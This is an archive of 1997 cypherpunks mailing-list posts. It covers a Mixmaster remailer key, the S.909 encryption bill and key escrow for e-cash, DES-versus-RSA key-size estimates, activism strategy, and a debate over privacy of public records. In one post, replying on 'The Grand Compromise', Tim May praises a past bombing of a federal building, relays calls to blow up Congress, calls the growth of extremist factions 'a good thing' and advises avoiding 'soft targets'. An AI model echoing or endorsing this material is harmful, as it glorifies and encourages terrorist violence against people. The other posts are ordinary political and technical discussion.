  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Medusa Admin <medusa-admin@weasel.owl.de>
Date: Tue, 24 Jun 1997 22:39:38 +0800
To: cypherpunks@toad.com
Subject: New Middleman Mixmaster
Message-ID: <19970624132553.2081.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



I have just set up a new mixmaster with the following key. It's purely a
middleman remailer, and hence will only forward mail to other mixmasters.
If it's used as the last link in the chain, or you send a request for the
key or statistics information, this will be sent out via a randomly chosen
remailer. Because all mail to the remailer goes through the nymserver as
well as my system, you should expect latency of a couple of hours.

Here is the public key for Medusa Remailer

=-=-=-=-=-=-=-=-=-=-=-=
medusa medusa@weasel.owl.de d34e77b9c0e4f52a51767c20a9e9b942 2.0.4b1 MC

-----Begin Mix Key-----
d34e77b9c0e4f52a51767c20a9e9b942
258
AATU6i9jf6U7CE08LTZA+JOUQzRd4RLPTW1v+PB3
ju0+oxGgLvPGAQ6N6ZlVnFGV8NpbYjc08S/dLlik
T41DcQcPoi9rCy9UgzWh8WcsxGr6GsCTgXrTyhOw
rw2WRJI3S/GH6+Zdexvw4+8ABtn8nGzh0vftpzUo
Jl+dX+kiSsbGvQAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAQAB
-----End Mix Key-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Wed, 25 Jun 1997 01:53:12 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <v03020929afd325266f9d@[139.167.130.247]>
Message-ID: <97Jun24.134510edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 22 Jun 1997, Robert Hettinga wrote:

> You just need to tell them that S909 will kill the commercial internet, and
> all the billions that have been invested in it.

More to the point, it will kill the commercial internet within the US.  We
could ban steelmaking for environmental or safety reasons, which would not
stop it, but then our steel producers and automakers would be out of
business.  I think the US may have one, maybe two years before we lose the
entire crypto industry to overseas.  We may still write the academic
articles, but all the software and hardware will be imported.  After all
the problems about losing jobs, we are actively destroying this sector of
high technology.

> >  Digital Commerce *is* Financial Cryptography,
> >  Financial Cryptography *is* Strong Cryptography,
> >  therefore,
> >  Digital Commerce *is* Strong Cryptography.
> >  and, therefore,
> >  No Strong Cryptography, no Digital Commerce.
> 
> ... why wouldn't escrow work ...

Because the government could retroactively reverse transactions.  Currency
is only as good as far as it is trusted.  Would you accept a transaction
that if the government opened the crypto, and found that the person that
sent you the cash was a drug dealer, which meant that all your finances
are thus contaminated with "drug money", and that they would not only
seize the transaction, but all other money?  I think not. 

The goverment could also open the note and spend it before you did (for
things like back taxes).  Assuming it is not a janitor working in the
building housing the escrow computer who is doing it.

In effect, key escrow applied to electronic cash is a lein against every
note that can be executed without your knowledge or consent.

There are technical solutions and problems which I can go into further. 
But, briefly, the goverment will want to track all sides, and anything
will require huge computer resources to store the escrowed keys.  That is
unless getting one key unlocks every $20 digital note issued, and then how
do we insure they will only unlock the ones listed in the original
warrant?  And what about stolen or multiply transacted ecash - you can
only unlock the original payer and final payee - I know, make it illegal
to transfer ecash without reporting the transaction!

>From the original use of the touchstone to insure the quality of gold
coins, all monitary units had to have an authentication mechanism.  If the
crypto is weak, notes are easy to forge (analogous to why there are so
many hard to print things on $100 bills).  If you can't tell counterfeit
cash from real cash, you don't accept it, electronic or otherwise.  This
is why the $yllogism works.  Just note that locations that can't verify
checks don't accept them. 

If the government can declare "authentic" currency to have no value
(especially retroactively), the same rule applies, which is why key escrow
is equally damaging. 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 25 Jun 1997 02:38:38 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Comparing Cryptographic Key Sizes
In-Reply-To: <199706241351.OAA04279@hermes>
Message-ID: <v03007809afd5b9286e1d@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



Thanks, Adam, for sending this along.

As it turns out, I'm working on an article about encryption and privacy
that will appear in Time Magazine next month. Yesterday I photocopied a few
pages of Applied Crypto and printed out the (I believe) February 1996 paper
on recommended key lengths and passed them around the office. Your summary
is even more handy.

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMailer<tm@dev.null>
Date: Wed, 25 Jun 1997 04:17:32 +0800
To: cypherpunks@toad.com
Subject: 1
Message-ID: <199706241950.NAA08710@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



1





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMailer<tm@dev.null>
Date: Wed, 25 Jun 1997 04:30:09 +0800
To: cypherpunks@toad.com
Subject: 2
Message-ID: <199706241959.NAA09532@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Anon-To:





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Wed, 25 Jun 1997 05:11:52 +0800
To: tcmay@got.net
Subject: Re: The Grand Compromise is Coming
In-Reply-To: <v03102805afd5d070ad81@[207.167.93.63]>
Message-ID: <199706242102.OAA31118@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:
> 
> The terrible, terrible S.909 McCain-Kerrey bill is probably a negotiating
> card in the coming Grand Compromise.

Yes.  The tactic will be to use S.909 in negotiation to represent a 'fair' 
government-oriented solution.   Then 'compromise' with a 'balanced'
deal which includes all that the government really wants, with a few
of the more onerous bits taken out of S.909 as 'compromise'.

As Declan notes, Congress is driven to compromise.  The
government side can propose ever more draconian laws in order to
engineer the 'compromise' to whatever it wants.  On the other side, we
are stuck, because we have been asking for things that we really want, not
bargaining chips.  Even if we were to ask for bargaining chips that
are more than we really want, how much further than completely free
crypto can you go?    The government wins any game of compromise because
it can push its side as far as it wants, then demand that we meet halfway.


> It will make many groups _satisfied_ to reach "a compromise we can all live
> with." The various cyber-rights [sic] groups will probably trumpet this as
> a victory, as "the best we could get."

They will make it out as a victory ("send us more money") but in
reality it'll just be a little less of a defeat.


The rejectionist stance has the presumption that, if unwatched, the
government will pass a law so onerous that the people will rise up
in protest.  Unfortunately I don't think Americans will rise up in
protest over _anything_ any more.  Certainly not over basic freedoms.



-- 
                   Eric Murray  ericm@lne.com 
  Network security and encryption consulting.    PGP keyid:E03F65E5 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Poppler <lwp@mail.msen.com>
Date: Wed, 25 Jun 1997 02:21:38 +0800
To: cypherpunks@Algebra.COM
Subject: Coding || Politics || Diplomacy (was: Radical Roots)
In-Reply-To: <v0310280aafd0659f356a@[207.167.93.63]>
Message-ID: <Pine.BSI.3.92.970624130246.17389A-100000@conch.msen.com>
MIME-Version: 1.0
Content-Type: text/plain



I saw a part of the PBS VietNam documentary last night, a (North)
Vietnamese general explaining that their defense against the folks with
helicopters was successful because it was never a purely military
strategy, instead always combining the political, the diplomatic and
the military.

What does this have to do with cypherpunks ?   A lot.

The recent unpleasantness in Washington, and Brussels, and London
has inspired many reminders that "Cypherpunks Write Code".
Amen to that -- and we clearly must hurry up and write more code now.
But we can and should do more.

We have long foreseen that the various Horsemen of the Apocalypse would be
used in the sound bite campaign to manufacture support for restrictions on
crypto.  No surprise then that we see this happening.  But there is still
time in this part of the battle, and an encouraging ripple effect of some
of our own political memes.  Many people in the US still remember the
abuses of J. Edgar Hoover, of Richard Nixon, or even Clinton's recent
abuse of FBI files; and these abuses are often mentioned along with the
lowest common denominator explanations of GAK in the mainstream media.
Much of the public in the Western Democracies retains a fuzzy belief in
freedom and privacy, and a fuzzy skepticism of Big Brother.

This is the political part of the battle, and the ranks of cypherpunks
include many people with skills in creating memes and sound bites.  Some
of these may not be coders at all, but they can contribute to the overall
strategy by inserting our own memes into the public's consciousness.  We
may not "win" on the political front alone, but even if the only
accomplishment is to delay the inevitable, this is very good in that it
allows the coders more time to write code.  Such effort is also rewarded
as it allows additional intelligent people to understand the issues and to
join us.  Cypherpunks write memes!

Finally, I will touch briefly on the dirtiest part of the effort -- the
diplomatic.  This has been discussed at length on this list and elsewhere.
The efforts by those who lobby and arm-twist and broker deals in
Washington, Brussels, London, and other nodes of power, may also
contribute to the overall strategy.  Again, we clearly will never "win"
outright in any such endeavors.  But I think it is clear that we again
gain time, breathing room, from such efforts -- time in which we may write
more code and write more memes.  If the lawmakers only hear from the
spooks and the secret police, they will pass their bad laws much sooner.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 25 Jun 1997 05:31:21 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Grand Compromise is Coming
In-Reply-To: <v03102805afd5d070ad81@[207.167.93.63]>
Message-ID: <v03102809afd5e8da69e1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:02 PM -0700 6/24/97, Eric Murray wrote:
>Tim May writes:

>> It will make many groups _satisfied_ to reach "a compromise we can all live
>> with." The various cyber-rights [sic] groups will probably trumpet this as
>> a victory, as "the best we could get."
>
>They will make it out as a victory ("send us more money") but in
>reality it'll just be a little less of a defeat.

I'd be willing to bet the cyber rights [sic] groups are preparing for the
compromise and their role in the "victory." In this sense, the
McCain--Kerrey bill is almost a godsend to them, as it allows them to forge
a compromise and thus show that they are doing something useful.

>The rejectionist stance has the presumption that, if unwatched, the
>government will pass a law so onerous that the people will rise up
>in protest.  Unfortunately I don't think Americans will rise up in
>protest over _anything_ any more.  Certainly not over basic freedoms.

Well, I know of some Americans who blew up a building filled with Feds.

That ain't exactly doing nothing.

I have to confess to not being completely unhappy with the McCain-Kerrey
thing. By being so much of a Big Brother action, it validates what we've
been warning about.

And while _most_ Americans will not rise up in protest, as you point out,
this will invigorate the extremist factions fighting for collapse of the
entire corrupt system.

(For we extremists, whom some have called "bloodthirsty," there's no better
recruiting tool than such things as McCain-Kerrey. I've heard more of my
friends saying that Congress just ought to be blown up than I ever would
have imagined a few years ago. And this is not a view shared only by
extremists: anyone who saw the coming attraction trailers for "Independence
Day," last year at that time, was probably struck by the visceral and
immediate audience reaction to the scene showing the alien flying saucers
vaporizing and destroying the White House: cheers and clapping throughout
the audience.)

This will be a good thing. Just avoid soft targets, as I keep warning.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 25 Jun 1997 03:49:36 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: William Just doesn't get it.
In-Reply-To: <Pine.SUN.3.96.970624113126.8208A-100000@beast.brainlink.com>
Message-ID: <199706241938.OAA11409@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SUN.3.96.970624113126.8208A-100000@beast.brainlink.com>, on
06/24/97 
   at 12:00 PM, Ray Arachelian <sunder@brainlink.com> said:

>On Mon, 23 Jun 1997, William H. Geiger III wrote:

>> Only one here being clueless is you Ray.

>Thanks for the compliment.  I burp in your general direction.
> 
>> The state is not allowed to engage in secret activities with select
>> members of society. Whenever it issues a permit or a license to someone it
>> is public knowledge. Whenever someone is arrested, whenever there is a
>> trial both great and small the full details are public information.

>Asking the state to protect my privacy by not disclosing the information
>I disclose to it is not asking the state to engage in secret activities
>with select members of society.  It is asking it not to release
>information that I am forced to give them in return for certain goods,
>services, or privilidges - driving for example.  Having a driver's
>license doesn't mean I wish to share the information that the DMV
>requires to provide such a license to the world.

>Paying taxes doesn't mean I wish to disclose my 1040 form to the world.
> 
>> All actions of the state *must* be reviewable by the citizens. You can not
>> have a free and open society without the people being able to check on
>> what it's government is doing.

>And tell me dear William, in what way will you prevent the government
>from taking capricious actions against a free and open society by
>allowing anyone to find out a phone number that is unlisted by simply
>calling up DMV records?

>This isn't keeping tabs on the government, this is keeping tabs on the
>people which the government choses to infringe on.

>If the DMV wasn't giving licenses to certain types of people and one
>believed that this was the case, one should ask those people who felt
>that they were discriminated against.  One should not have the ability to
>look at EVERY record in the DMV databases - no matter how noble the
>thought.

>This is not to protect the DMV, this is to protect those listed within
>its databases.

>> This means that all of the following *must* be open to the public:

>Again, by your oppinion, not mine.  And no, I don't believe in a "free
>and open" society.  I believe in a "free and private" society.
> 
>> Criminal Records

>As for these, IMHO, once a criminal has completed their sentence they
>should be allowed to have a life.  Having these records available to all
>is a means of discriminating against them for having commited a crime as
>judged by a jury.  Not necessarily having commited the crime, but being
>convicted of doing so - as is well known mistakes have been made and
>lives have been destroyed by such mistakes.

>IMHO, repeat offenders will wind up in jail again, and will be punished
>again.  This should not infringe on their right to secure jobs or the
>right to rent, or buy homes.

>The idea of the justice system is to correct these wrongs, not to punish
>for life.  Once the debt is paid, it is paid.  There are some who believe
>that offenders should not be re-released into society because they will
>commit more crimes, and/or that the communities should be notified when
>they are allowed to move there.  If it is the case that person X is
>likely to commit more crime, then that fact should play a factor in
>person X's parole hearing.  IMHO, if the danger is there, don't let the
>bastard out. If it isn't, then let them go and let them live in peace and
>privacy.

>> Voter Registrations

>These too can be both a benefit and an infringement on privacy.  Whatever
>information these records hold might be used for other purposes.

Obviously you have never seen Chicago Politics at work. Chicago the most
democratic country in the world, even the dead get to vote ... TWICE!!! :)

>> Census Records

>Why?  What is the purpose of having these records available in forms
>other than a number?

>> Building Permits

>I agree here.

>> Profesional Licenses

>Sure, but only so far as to say "Yep, person X has this license" not "and
>they live on xyz street, have three kids, and a poodle."

>> Court Transcripts

>Granted.

>> Federal Records
>> State Records
>> County Records
>> City Records

>Granted, but which specific records?

>> ect, ect, ect.

>clue: You mean etc as in "Et Cetera."

>> The problem here is *NOT* that this information is public. The problem is
>> that the goverment has got it's fat little fingers into everything. The
>> solution is *NOT* letting the state hide what it is doing with these so
>> called privacy laws but to get the state out of where it has no business
>> being in the first place!!!

>I agree that there is ALSO a problem that the government has its fat
>fingers in everything and is allowed to do things that others aren't
>allowed to do.  For instance many places where gambling is illegal
>provide lotteries with astronomical odds against the player.  Were the
>things done by casinos, nobody would play.

>I agree that what the state does and whom they interact with should be
>public knowledge.  I do not agree that by virtue of interacting with the
>state that I should be force to give up my privacy.  I do not have the
>choice of not interacting with the state due to lovelies such as income
>taxes and drivers licenses - I should not be forced to give up privacy as
> well because of this.

>Based on what you say everything the state does should be public.  Fine,
>but if anyone were able to see anyone else's 1040 forms, you'd have a lot
>of invasion of privacy.  This is what you fail to see or understand. 
>This isn't a strawman, it's plain fact.  If I can see your return, I can
>see how much you make, whatever deductions or exemptions you claim can
>give me a slew of information as to what you have purchased and your
>general life style.  The address info and SSN will give me even more keys
>into your info.  Birth and Marriage records will tell me who your mother
>is, then I can look up her records, and find her maiden name, then I can
>take your SSN, your mother's maiden name, your date of birth and hand
>them over to TRW and see your credit card purchases, etc.  This is the
>thing that should not be that you are advocating, the thing I and
>fighting you on.  I think that it is indeed the case that you require a
>few clues.

>> And this has nothing to do with GAK or any other 1984ish monitoring of
>> citizens. The issue here is bringing the activities of the state into the
>> light of day. The activities of the citizens that do not directly involve
>> the state are not at issue here.

>Then DMV records should not be fully visible, neither should 1040 forms,
>for example.  But the key is "that do not directly involve the state" 
>The problem is that the state directly involves us into their activities
>and we directly involve them through our votes.  That is the key that
>will unlock the records into the activities of the citizens, and unlock
>their privacy when they should not.

>For the most part we agree - the government's activities should be public
>knowledge and should be watched and reviewed carefully.  However in your
>eagerness to make this happen you would also strip away the privacy of
>the citizens only because the government interacts and forces itself on
>interacting with them.

>And that is the clue you fail to get.

How are you going to verify what the government *says* it is doing without
a mechinism of authenticating of who they are doing it with?

How can you verify that the census reports are vailid if you don't know
who is in the census?

How can you check and see if the party in power is stuffing the balot
boxes if you can't confirm who is on the voting rolls??

How will you know which John Doe is issued a Medical License without
additional information being available?

How can you prevent criminal records from being known when all police
arrests & court procedings are public knowledge?

In your zeal to make public information "private" you are giving the
government the perfect mechanism to hide all its activities from its
citizens.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 25 Jun 1997 02:55:30 +0800
To: Alan Olsen <root@nwdtc.com>
Subject: Re: CNN - Encryption bill expected to pass House - June 23, 1997
In-Reply-To: <33B003B5.689A@nwdtc.com>
Message-ID: <v0300780dafd5c59a5b1c@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



Yeah, I'm going to the markup later this afternoon. I ran into Goodlatte in
the Capitol this morning; he seemed cautiously optimistic.

-Declan

*********

At 10:28 -0700 6/24/97, Alan Olsen wrote:
>http://www.cnn.com/TECH/9706/23/encryption.reut/index.html
>
>Encryption bill expected to pass House
>
>June 23, 1997
>Web posted at: 10:05 p.m. EDT (0205 GMT)
>
>WASHINGTON (Reuter) -- Legislation to
>relax U.S. export limits on computer-encoding
>technology is likely to move ahead in the
>House of Representatives this week, despite
>a severe setback in the Senate last week.
>
>The House International Relations' economic
>policy and trade subcommittee will vote on a
>bill Tuesday, chairwoman Ileana
>Ros-Lehtinen, Republican of Florida, said.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Wed, 25 Jun 1997 03:19:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Hettinga's e$yllogism
Message-ID: <199706241908.MAA21649@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




>1. Government has copy of keys
>2. Government misuses keys.
>
>Simple enough for you?

Too simple.  Escrow for ecash isn't to allow forging cash, or stealing it.
It allows tracing it.

If you tell financial experts that making ecash traceable under court order is
goint to make electronic commerce impossible, they'll laugh.  They already
use systems which are even less private than that.

Anon






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 25 Jun 1997 04:04:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <19970624175211.9970.qmail@squirrel.owl.de>
Message-ID: <v03020908afd5d3a57f1b@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:52 pm -0400 on 6/24/97, Secret Squirrel wrote:


> If you tell financial experts that making ecash traceable under court
>order is
> goint to make electronic commerce impossible, they'll laugh.  They already
> use systems which are even less private than that.

That's because, like all industrial transaction processes, they're built to
run weak transactions on strong, but private networks. The internet enables
strong transactions on weak, but public networks, which are way cheaper.

Again, *Digital* Commerce *is* Financial Cryptography.

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 24 Jun 1997 23:09:05 +0800
To: trei@process.com
Subject: Re: Comparing Cryptographic Key Sizes
In-Reply-To: <199706241351.OAA04279@hermes>
Message-ID: <199706241449.PAA00198@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Peter Trei <trei@process.com> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes.
> > 56 bit DES is probably roughly similar to 512 bit RSA in hardness to
> > break.
> 
> This is way off. We used ~457,000 MIPS years to search half of the 
> DES keyspace. Factoring a 512 bit modulus using the General Number
> Field Sieve (GNFS) would take about 28,000 MIPS years (see Schneier
> for the exact number - I don't have AC2 at hand)
> 
> Lenstra has estimated that with 500,000 MIPS years, you should be
> able to factor a 600 bit modulus using GNFS, if your workstations 
> had enough memory.

Ah yes.  Well I did read your post on coderpunks where you described
the results of asking Lenstra and looking for ideas for what to break
next, how hard 512 bits was etc.

So... 28,000 MIPs years you say... but that neglects memory.
Lenstra's conclusion was that even 512 bits couldn't be done, from
your post.  So by that measure it is harder (due to memory overhead)
than DES even though theoretically taking less MIPS with 64 mb
workstations.  Also he was unsure about the availability of a large
enough supercomputer to reduce the final matrix.

So any suggestetions of how to summarise the "hardness" of a problem
when it includes memory and cpu costs in as simple terms as possible.
(Bearing in mind the reader in most cases hasn't grasped the
difference between public key crypto and symmetric key, and is
comparing 1024 bit keys to 56 bit keys and probably thinks that it is
1024/56 times harder.)

> > About 10 years ago now Michael Wiener made a design for such a DES
> > breaking machine.  He estimated it would cost $10,000,000 to build a
> > machine which would break a 56 bit DES encrypted message a few hours.
> > His machine was scalable, pay more money, break the key faster, pay
> > less take longer.  The estimate was that could build one with enough
> > DES key searching units to break it in a day for $1,000,000.  That was
> > 10 years ago.  10 years is a long time in the computer industry.
> > Nowadays you build the machine more cheaply as chip technology has
> > progressed, and computers are much faster per $.  Estimates are around
> > $100,000 to build the machine (neglecting hardware engineers
> > consultancy fees).
> 
> Go back and check the numbers - if you don't the journalists will. 
> (I don't have this paper to hand either :-( ) The Wiener paper is 
> much more recent (93?) , and the cost much lower (I think it was 
> about $1M for HW and $500K for development costs, for a 3.5 hour 
> machine).

I think I have his paper as a postscript file, will look.

But what do you think of the extrapolation to todays prices?  $100k?
(Ignoring consultancy fees).

Thanks for the criticisms, more please on readability and
understandability to neophytes!

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 25 Jun 1997 08:02:40 +0800
To: cypherpunks@toad.com
Subject: "writing code"
Message-ID: <3.0.2.32.19970624160027.00962e40@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain




I think that "cypherpunks write code" is best understood with an added
layer of abstraction, e.g., "cypherpunks change the things that bother
them." So I think that "cypherpunks write memes" can be a useful strategy.

But I think it's important to pay attention to which memes are written - do
you mean "Write your Congressperson about this horrible problem!" or "Fuck
the government, fix your own problem(s)!"? Many of the exhortations to the
public consist mostly of "Hey! Get involved! Vote!", even where this
passive "voting" stuff created the very problems which led to the
exhortations. 

Sure, let's write memes. But let's write memes that encourage people to
solve their own problems and avoid the use of unnecessary force. The mess
that Congress is making out of crypto policy and export control should
provide a crystal-clear example of what we're likely to get if we expect
Washington - or local legislatures - to fix our problems. Next year
Congress will probably fuck with E-mail and spam legislation the way it's
screwing up crypto this year. In 1999, they'll have found something else. 

(Also, FYI, there was an implied :) smiley at the end of my message about
three-strikes term limits. It's a cute idea, but I bring it up mostly to
illustrate how pathetic and weak contemporary political thought is - we're
ending up with a legal system which consists of crap like that, announced
at press conferences full of various sympathetic "victims", hosted & funded
by lobbyists paid for by prison-guard unions.) 
 
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 25 Jun 1997 00:25:02 +0800
To: iang@systemics.com
Subject: Re: spook pressure on crypto exports
In-Reply-To: <19970624103615.4100.qmail@aaa.aaa-mainstreet.nl>
Message-ID: <199706241511.QAA00479@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Ian Grigg <iang@systemics.com> writes:
> Bill said:
> > ... and have been trying to work on the Irish...)
> 
> and Adam said:
> > Ireland is new to me.  What's their problem?
> 
> Ditto!  I'd like to know because ...
> 
> > Who's exporting things to attract spook export attention over there? 
> 
> Systemics is an Irish company, and so is Baltimore, and we both
> are 'exporters' depending on one's viewpoint.  

So's SSE (subsidiary of Siemens-Nixdorf).  But that's mostly/all
defense stuff, so they're presumably in thick with the military
intelligence, and export permission would be a snip for them.

> I don't know about Baltimore, but there is not a lot of pressure
> they can put on Systemics, as the majority of the Cryptix effort is
> now handed over to non-Systemics people.  That's the beauty of
> freeware.

Ireland allows intangible export, no permission required, same as UK.
They do say they would like a list of customers after the fact, but
that's just would like, not you are required to give or else.
(Clearly it would be a bit difficult to list the customers off your
open access web page).

For tangible exports you need permission, much as in the UK.  I get
the impression that the `open for business' attitude (love that 10%
corporate tax break, is systemics getting this?) would mean you'd get
an easier time than in the UK.  They promise fast efficient turn
around on export applications.  (Unlike NZ MFAT, reread Peter
Gutmann's story of down under intrigue on http://jya.com/nsazeal.htm
amazing, nearly bankrupted the company!)

> In contrast, I have been told that Ireland represents a prime place
> for this sort of stuff, as there are no restrictions whatever.

I think it's better than say UK.  But clearly not `no restrictions' at
least for tangible exports re above comments.

I don't know how this works out in practice, what they give tangible
export permission to, etc.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Lucas <davidlu@sco.COM>
Date: Tue, 24 Jun 1997 23:35:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Comparing Cryptographic Key Sizes
In-Reply-To: <199706241351.GAA20823@toad.com>
Message-ID: <3.0.2.32.19970624162104.007bb990@middx.x.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 09:52 24/06/97 -6, Peter Trei <trei@process.com> wrote:
>Adam Back <aba@dcs.ex.ac.uk> writes.

<...>

>> About 10 years ago now Michael Wiener made a design for such a DES
>> breaking machine.  He estimated it would cost $10,000,000 to build 
a
>> machine which would break a 56 bit DES encrypted message a few 
hours.
>> His machine was scalable, pay more money, break the key faster, 
pay
>> less take longer.  The estimate was that could build one with 
enough
>> DES key searching units to break it in a day for $1,000,000.  That 
was
>> 10 years ago.  10 years is a long time in the computer industry.
>> Nowadays you build the machine more cheaply as chip technology has
>> progressed, and computers are much faster per $.  Estimates are 
around
>> $100,000 to build the machine (neglecting hardware engineers
>> consultancy fees).
>
>Go back and check the numbers - if you don't the journalists will. 
>(I don't have this paper to hand either :-( ) The Wiener paper is 
>much more recent (93?) , and the cost much lower (I think it was 
>about $1M for HW and $500K for development costs, for a 3.5 hour 
>machine).

Relevant section of AC2 is Table 7.1 (page 153)

The numbers referred to above are slightly out:

In 1995, $1M would give you a machine that would break 56-bit DES in 
an average of 3.5 hours

A $10M machine would break 56-bit DES in an average of 21 minutes

[Double the times for an exhaustive keysearch]

<...>
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM6/l3+Kk4yfQWUNhEQKW2ACgtC4Jpwy7TCPdXdvUkGuXrwiPDUMAoKD6
1XnG5v2Z9gJzQyrwQ8G4mJ1z
=zOLc
-----END PGP SIGNATURE-----

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
               David Lucas - Test Engineer @ SCO Cambridge.
                          E-mail: davidlu@sco.com

 Opinions expressed within this message are my own and do not necessarily
            represent those of my employer * I am not a lawyer
--------------------------------------------------------------------------
        The light at the end of the tunnel is an oncoming train...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Wed, 25 Jun 1997 04:41:38 +0800
To: Lou Poppler <lwp@mail.msen.com>
Subject: Re: Coding || Politics || Diplomacy (was: Radical Roots)
In-Reply-To: <Pine.BSI.3.92.970624130246.17389A-100000@conch.msen.com>
Message-ID: <Pine.LNX.3.94.970624161148.10344I-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 24 Jun 1997, Lou Poppler wrote:

> Cypherpunks write memes!

I like this. Writing effective program code -- computer instructions -- is
important, but so is writing effective language code. Language is
essentially another kind of "code" with its own set of interpreters etc. So
